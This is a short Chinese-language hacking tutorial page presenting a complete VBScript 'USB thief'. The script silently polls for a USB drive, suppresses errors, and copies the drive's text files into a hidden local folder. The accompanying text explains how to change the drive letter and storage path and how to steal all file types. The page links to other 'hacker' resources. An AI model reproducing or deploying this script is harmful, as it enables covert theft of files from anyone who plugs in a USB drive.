vbs简短代码制作U盘神偷

以下是代码：
-----------------------------
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("h:\") then
fso.copyfile "H:\*.txt","C:\aa\"
fso.copyfolder "H:\*.txt","C:\aa\"
wscript.sleep 20000
end if
loop

h:\是U盘盘符，c:\aa\是偷来的资料存放目录，可以自定义修改！ *.txt是偷取文件的后缀名，要偷全部就改成*.* 此处演示是传偷文本文档。

小风教程网xf1433.com

上一文章：点击进入玄风小组网盘,免费黑客网盘

下一文章：黑客三字经